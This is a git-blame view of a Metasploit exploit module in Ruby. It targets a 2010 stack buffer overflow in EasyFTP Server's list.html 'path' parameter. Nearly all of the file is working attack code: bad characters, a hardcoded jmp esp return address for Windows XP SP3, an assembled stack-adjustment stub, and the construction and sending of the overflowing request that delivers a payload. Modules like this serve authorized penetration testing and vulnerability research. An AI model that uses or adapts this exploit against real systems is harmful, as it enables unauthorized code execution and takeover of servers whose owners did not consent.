Files
metasploit-gs/modules/exploits/windows/http/easyftp_list.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

123 lines
3.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2014-03-11 12:07:27 -05:00
'Name' => 'EasyFTP Server list.html path Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
supplied to an HTTP GET request, which leads to a stack based buffer overflow.
EasyFTP allows anonymous access by default; valid credentials are typically
unnecessary to exploit this vulnerability.
2013-08-30 16:28:54 -05:00
After version 1.7.0.12, this package was renamed "UplusFtp".
2013-08-30 16:28:54 -05:00
Due to limited space, as well as difficulties using an egghunter, the use of
staged, ORD, and/or shell payloads is recommended.
},
'Author' =>
[
'ThE g0bL!N', # Original exploit [see References]
'jduck' # Metasploit re-implementation
],
'References' =>
[
2010-07-27 03:14:46 +00:00
[ 'OSVDB', '66614'],
2012-10-23 21:02:09 +02:00
[ 'EDB', '11500' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 256,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
2010-08-17 01:35:03 +00:00
'Compat' =>
{
'ConnectionType' => '+ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 - Easy FTP Server Universal',
# NOTE: It's not possible to use addresses within the
# binary due to the nul byte.
{
'Ret' => 0x7cc5d507 # jmp esp in shell32.dll
#'Ret' => 0xdeadbeef
}
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-02-18'
))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(8080),
2016-05-27 18:37:04 -05:00
OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com'])
])
end
2013-08-30 16:28:54 -05:00
def check
info = http_fingerprint # check method
2014-01-21 11:07:03 -06:00
if info and (info =~ /Easy\-Web Server\//)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
def exploit
if (payload.encoded.length > payload_space)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
end
2013-08-30 16:28:54 -05:00
# Fix up ESP, jmp to the beginning of the buffer
stub_asm = %q{
mov edi, esp
add esp, 0xfffffc04
add edi, 0xfffffee8
jmp edi
}
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string
2013-08-30 16:28:54 -05:00
# Build the path up
path = ''
path << payload.encoded
path << rand_text(268 - path.length)
# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
path << [target.ret].pack('V')
path << rand_text(280 - path.length)
path << stub
path << rand_text(332 - path.length)
2013-08-30 16:28:54 -05:00
uri = "/list.html?path="
uri << path
2013-08-30 16:28:54 -05:00
print_status("Trying target #{target.name}...")
res = send_request_raw({ 'uri' => uri }, 5)
2013-08-30 16:28:54 -05:00
if (res)
print_error("The server unexpectedly responded, this is not good.")
2015-01-05 11:50:51 -06:00
print_status(res.to_s)
end
2013-08-30 16:28:54 -05:00
handler
end
end